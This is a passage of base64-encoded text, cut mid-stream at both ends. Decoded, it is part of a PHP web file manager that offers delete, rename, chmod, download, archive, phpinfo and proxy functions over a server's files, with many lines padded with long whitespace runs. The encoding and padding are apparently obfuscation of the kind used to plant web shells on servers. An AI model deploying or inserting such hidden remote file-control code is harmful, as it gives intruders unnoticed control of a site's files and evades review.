ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIGlmKEBpc19kaXIoJGZpbGVuYW1lKSl7DQoNCgkgICAgIAkgICAgICRmaWxlZGF0YVs3XSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19kaXJfc2l6ZSddKSYmIWZtX3Jvb3QoJGZpbGVfZ2V0KSkgJGZpbGVkYXRhWzddID0gZm1fZGlyX3NpemUoJGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgJGxpbmsgPSAnPGEgaHJlZj0iJy4kdXJsX2luYy4nJnBhdGg9Jy4kcGF0aC4kZmlsZV9nZXQuJyIgdGl0bGU9IicuX18oJ1Nob3cnKS4nICcuJGZpbGVfZ2V0LiciPjxzcGFuIGNsYXNzPSJmb2xkZXIiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj4gJy4kZmlsZV9nZXQuJzwvYT4nOw0KDQogICAgICAgICRsb2FkbGluaz0gKGZtX3Jvb3QoJGZpbGVfZ2V0KXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCd6aXAnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7emlwJyxfXygnQXJjaGl2aW5nJykuJyAnLiAkZmlsZV9nZXQpOw0KDQoJICAgICAJICAgICAkYXJsaW5rICA9IChmbV9yb290KCRmaWxlX2dldCl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3onLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4kZmlsZV9nZXQpOw0KDQogICAgICAgICRzdHlsZSA9ICdyb3cyJzsNCgkgICAgIAkgICAgICBpZiAoIWZtX3Jvb3QoJGZpbGVfZ2V0KSkgJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnIC4gX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBkaXJlY3RvcnkgKHJlY3Vyc2l2ZWx5KT8nKS4nXG4gLycuICRmaWxlX2dldC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlX2dldCAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7IGVsc2UgJGFsZXJ0ID0gJyc7DQogICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgJGxpbmsgPSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkZm1fY29uZmlnWydzaG93X2ltZyddJiZAZ2V0aW1hZ2VzaXplKCRmaWxlbmFtZSkgDQoNCgkgICAgIAkgICAgIAkgICAgID8gJzxhIHRhcmdldD0iX2JsYW5rIiBvbmNsaWNrPSJ2YXIgbGVmdG8gPSBzY3JlZW4uYXZhaWxXaWR0aC8yLTMyMDt3aW5kb3cub3BlbihcJycNCgkgICAgIAkgICAgIAkgICAgIC4gZm1faW1nX2xpbmsoJGZpbGVuYW1lKQ0KDQoJICAgICAJICAgICAJICAgICAuJ1wnLFwncG9wdXBcJyxcJ3dpZHRoPTY0MCxoZWlnaHQ9NDgwLGxlZnQ9XCcgKyBsZWZ0byArIFwnLHNjcm9sbGJhcnM9eWVzLHRvb2xiYXI9bm8sbG9jYXRpb249bm8sZGlyZWN0b3JpZXM9bm8sc3RhdHVzPW5vXCcpO3JldHVybiBmYWxzZTsiIGhyZWY9IicuZm1faW1nX2xpbmsoJGZpbGVuYW1lKS4nIj48c3BhbiBjbGFzcz0iaW1nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGVfZ2V0Lic8L2E+Jw0KDQoJICAgICAJICAgICAJICAgICA6ICc8YSBocmVmPSInIC4gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRmaWxlX2dldCAuICcmcGF0aD0nIC4gJHBhdGguICciIHRpdGxlPSInIC4gX18oJ0VkaXQnKSAuICciPjxzcGFuIGNsYXNzPSJmaWxlIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGVfZ2V0Lic8L2E+JzsNCgkgICAgIAkgICAgICRlX2FyciA9IGV4cGxvZGUoIi4iLCAkZmlsZV9nZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkZXh0ID0gZW5kKCRlX2Fycik7DQoNCiAgICAgICAgJGxvYWRsaW5rID0gIGZtX2xpbmsoJ2Rvd25sb2FkJywkZmlsZW5hbWUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZmlsZV9nZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGFybGluayA9IGluX2FycmF5KCRleHQsYXJyYXkoJ3ppcCcsJ2d6JywndGFyJykpIA0KCSAgICAgCSAgICAgPyAnJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIDogKChmbV9yb290KCRmaWxlX2dldCl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3pmaWxlJywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwOy50YXIuZ3onLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlX2dldCkpOw0KDQogICAgICAgICRzdHlsZSA9ICdyb3cxJzsNCg0KCSAgICAgCSAgICAgJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGVfZ2V0LiAnLiBcbicuX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPycpIC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlX2dldCAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7DQoNCiAgICB9DQoNCiAgICAkZGVsZXRlbGluayA9IGZtX3Jvb3QoJGZpbGVfZ2V0KSA/ICcnIDogJzxhIGhyZWY9IiMiIHRpdGxlPSInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZV9nZXQgLiAnIiAnIC4gJGFsZXJ0IC4gJz4nIC4gX18oJ0RlbGV0ZScpIC4gJzwvYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICRyZW5hbWVsaW5rID0gZm1fcm9vdCgkZmlsZV9nZXQpID8gJycgOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRmaWxlX2dldCAuICcmcGF0aD0nIC4gJHBhdGggLiAnIiB0aXRsZT0iJyAuIF9fKCdSZW5hbWUnKSAuJyAnLiAkZmlsZV9nZXQgLiAnIj4nIC4gX18oJ1JlbmFtZScpIC4gJzwvYT4nOw0KDQogICAgJHJpZ2h0c3RleHQgPSAoJGZpbGVfZ2V0PT0nLicgfHwgJGZpbGVfZ2V0PT0nLi4nKSA/ICcnIDogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkZmlsZV9nZXQgLiAnJnBhdGg9JyAuICRwYXRoIC4gJyIgdGl0bGU9IicgLiBfXygnUmlnaHRzJykgLicgJy4gJGZpbGVfZ2V0IC4gJyI+JyAuIEBmbV9yaWdodHNfc3RyaW5nKCRmaWxlbmFtZSkgLiAnPC9hPic7DQoNCj8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0ciBjbGFzcz0iPD89JHN0eWxlPz4iPiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZD48Pz0kbGluaz8+PC90ZD4NCiAgICA8dGQ+PD89JGZpbGVkYXRhWzddPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj48Pz1nbWRhdGUoIlktbS1kIEg6aTpzIiwkZmlsZWRhdGFbOV0pPz48L3RkPg0KDQogICAgPHRkPjw/PSRyaWdodHN0ZXh0Pz48L3RkPg0KDQogICAgPHRkPjw/PSRkZWxldGVsaW5rPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGQ+PD89JHJlbmFtZWxpbms/PjwvdGQ+DQoNCiAgICA8dGQ+PD89JGxvYWRsaW5rPz48L3RkPg0KDQogICAgPHRkPjw/PSRhcmxpbms/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8P3BocA0KICAgIH0NCg0KfQ0KDQo/Pg0KPC90Ym9keT4NCjwvdGFibGU+DQoNCjxkaXYgY2xhc3M9InJvdzMiPjw/cGhwDQoNCgkgICAgICRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkdG90YWx0aW1lID0gJG10aW1lWzBdICsgJG10aW1lWzFdIC0gJHN0YXJ0dGltZTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZWNobyBmbV9ob21lKCkuJyB8IHZlci4gJy4kZm1fdmVyc2lvbi4nIHwgPGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIiPkdpdGh1YjwvYT4gIHwgPGEgaHJlZj0iJy5mbV9zaXRlX3VybCgpLiciPi48L2E+JzsNCg0KCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocF92ZXInXSkpIGVjaG8gJyB8IFBIUCAnLnBocHZlcnNpb24oKTsNCgkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfaW5pJ10pKSBlY2hvICcgfCAnLnBocF9pbmlfbG9hZGVkX2ZpbGUoKTsNCg0KCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X2d0J10pKSBlY2hvICcgfCAnLl9fKCdHZW5lcmF0aW9uIHRpbWUnKS4nOiAnLnJvdW5kKCR0b3RhbHRpbWUsMik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcHJveHknXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9wcm94eT10cnVlIj5wcm94eTwvYT4nOw0KDQoJICAgICBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwaW5mbyddKSkgZWNobyAnIHwgPGEgaHJlZj0iP3BocGluZm89dHJ1ZSI+cGhwaW5mbzwvYT4nOw0KCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3hscyddKSYmIWVtcHR5KCRsaW5rKSkgZWNobyAnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDogdm9pZCgwKSIgb25jbGljaz0idmFyIG9iaiA9IG5ldyB0YWJsZTJFeGNlbCgpOyBvYmouQ3JlYXRlRXhjZWxTaGVldChcJ2ZtX3RhYmxlXCcsXCdleHBvcnRcJyk7IiB0aXRsZT0iJy5fXygnRG93bmxvYWQnKS4nIHhscyI+eGxzPC9hPic7DQoNCgkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fc2V0dGluZ3MnXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9mbV9zZXR0aW5ncz10cnVlIj4nLl9fKCdTZXR0aW5ncycpLic8L2E+JzsNCgkgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBkb3dubG9hZF94bHMoZmlsZW5hbWUsIHRleHQpIHsNCg0KCSAgICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQoNCgkgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCdocmVmJywgJ2RhdGE6YXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsO2Jhc2U2NCwnICsgdGV4dCk7DQoNCgkgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCdkb3dubG9hZCcsIGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBlbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBlbGVtZW50LmNsaWNrKCk7DQoNCgkgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7DQp9DQoNCg0KDQpmdW5jdGlvbiBiYXNlNjRfZW5jb2RlKG0pIHsNCg0KCSAgICAgZm9yICh2YXIgayA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvIi5zcGxpdCgiIiksIGMsIGQsIGgsIGUsIGEsIGcgPSAiIiwgYiA9IDAsIGYsIGwgPSAwOyBsIDwgbS5sZW5ndGg7ICsrbCkgew0KDQoJICAgICAJICAgICBjID0gbS5jaGFyQ29kZUF0KGwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoMTI4ID4gYykgZCA9IDE7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZWxzZQ0KDQoJICAgICAJICAgICAJICAgICBmb3IgKGQgPSAyOyBjID49IDIgPDwgNSAqIGQ7KSArK2Q7DQoNCgkgICAgIAkgICAgIGZvciAoaCA9IDA7IGggPCBkOyArK2gpIDEgPT0gZCA/IGUgPSBjIDogKGUgPSBoID8gMTI4IDogMTkyLCBhID0gZCAtIDIgLSA2ICogaCwgMCA8PSBhICYmIChlICs9ICg2IDw9IGEgPyAxIDogMCkgKyAoNSA8PSBhID8gMiA6IDApICsgKDQgPD0gYSA/IDQgOiAwKSArICgzIDw9IGEgPyA4IDogMCkgKyAoMiA8PSBhID8gMTYgOiAwKSArICgxIDw9IGEgPyAzMiA6IDApLCBhIC09IDUpLCAwID4gYSAmJiAodSA9IDYgKiAoZCAtIDEgLSBoKSwgZSArPSBjID4+IHUsIGMgLT0gYyA+PiB1IDw8IHUpKSwgZiA9IGIgPyBmIDw8IDYgLSBiIDogMCwgYiArPSAyLCBmICs9IGUgPj4gYiwgZyArPSBrW2ZdLCBmID0gZSAlICgxIDw8IGIpLCA2ID09IGIgJiYgKGIgPSAwLCBnICs9IGtbZl0pDQoNCgkgICAgIH0NCg0KCSAgICAgYiAmJiAoZyArPSBrW2YgPDwgNiAtIGJdKTsNCg0KCSAgICAgcmV0dXJuIGcNCg0KfQ0KDQoNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCnZhciB0YWJsZVRvRXhjZWxEYXRhID0gKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIHZhciB1cmkgPSAnZGF0YTphcHBsaWNhdGlvbi92bmQubXMtZXhjZWw7YmFzZTY0LCcsDQogICAgdGVtcGxhdGUgPSAnPGh0bWwgeG1sbnM6bz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiB4bWxuczp4PSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpleGNlbCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnL1RSL1JFQy1odG1sNDAiPjxoZWFkPjwhLS1baWYgZ3RlIG1zbyA5XT48eG1sPjx4OkV4Y2VsV29ya2Jvb2s+PHg6RXhjZWxXb3Jrc2hlZXRzPjx4OkV4Y2VsV29ya3NoZWV0Pjx4Ok5hbWU+e3dvcmtzaGVldH08L3g6TmFtZT48eDpXb3Jrc2hlZXRPcHRpb25zPjx4OkRpc3BsYXlHcmlkbGluZXM+PC94OkRpc3BsYXlHcmlkbGluZXM+PC94OldvcmtzaGVldE9wdGlvbnM+PC94OkV4Y2VsV29ya3NoZWV0PjwveDpFeGNlbFdvcmtzaGVldHM+PC94OkV4Y2VsV29ya2Jvb2s+PC94bWw+PCFbZW5kaWZdLS0+PG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04Ii8+PC9oZWFkPjxib2R5Pjx0YWJsZT57dGFibGV9PC90YWJsZT48L2JvZHk+PC9odG1sPicsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIGZvcm1hdCA9IGZ1bmN0aW9uKHMsIGMpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gcy5yZXBsYWNlKC97KFx3Kyl9L2csIGZ1bmN0aW9uKG0sIHApIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNbcF07DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfSkNCiAgICAgICAgfQ0KICAgIHJldHVybiBmdW5jdGlvbih0YWJsZSwgbmFtZSkgew0KICAgICAgICBpZiAoIXRhYmxlLm5vZGVUeXBlKSB0YWJsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmxlKQ0KICAgICAgICB2YXIgY3R4ID0gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIHdvcmtzaGVldDogbmFtZSB8fCAnV29ya3NoZWV0JywNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICB0YWJsZTogdGFibGUuaW5uZXJIVE1MLnJlcGxhY2UoLzxzcGFuKC4qPylcL3NwYW4+IC9nLCIiKS5yZXBsYWNlKC88YVxiW14+XSo+KC4qPyk8XC9hPi9nLCIkMSIpDQoNCiAgICAgICAgfQ0KDQoJICAgICAJICAgICB0ID0gbmV3IERhdGUoKTsNCg0KCSAgICAgCSAgICAgZmlsZW5hbWUgPSAnZm1fJyArIHQudG9JU09TdHJpbmcoKSArICcueGxzJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZG93bmxvYWRfeGxzKGZpbGVuYW1lLCBiYXNlNjRfZW5jb2RlKGZvcm1hdCh0ZW1wbGF0ZSwgY3R4KSkpDQoNCiAgICB9DQp9KSgpOw0KDQoNCg0KdmFyIHRhYmxlMkV4Y2VsID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KICAgIHZhciB1YSA9IHdpbmRvdy5uYXZpZ2F0b3IudXNlckFnZW50Ow0KICAgIHZhciBtc2llID0gdWEuaW5kZXhPZigiTVNJRSAiKTsNCg0KDQoJICAgICB0aGlzLkNyZWF0ZUV4Y2VsU2hlZXQgPSANCgkgICAgIAkgICAgIGZ1bmN0aW9uKGVsLCBuYW1lKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICBpZiAobXNpZSA+IDAgfHwgISFuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9UcmlkZW50Lipydlw6MTFcLi8pKSB7Ly8gSWYgSW50ZXJuZXQgRXhwbG9yZXINCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlbCkucm93czsNCg0KDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHZhciB4bHMgPSBuZXcgQWN0aXZlWE9iamVjdCgiRXhjZWwuQXBwbGljYXRpb24iKTsNCg0KDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHhscy52aXNpYmxlID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICB4bHMuV29ya2Jvb2tzLkFkZA0KDQoJICAgICAJICAgICAJICAgICAJICAgICBmb3IgKGkgPSAwOyBpIDwgeC5sZW5ndGg7IGkrKykgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICB2YXIgeSA9IHhbaV0uY2VsbHM7DQoNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm9yIChqID0gMDsgaiA8IHkubGVuZ3RoOyBqKyspIHsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHhscy5DZWxscyhpICsgMSwgaiArIDEpLlZhbHVlID0geVtqXS5pbm5lclRleHQ7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICAJICAgICB4bHMuVmlzaWJsZSA9IHRydWU7D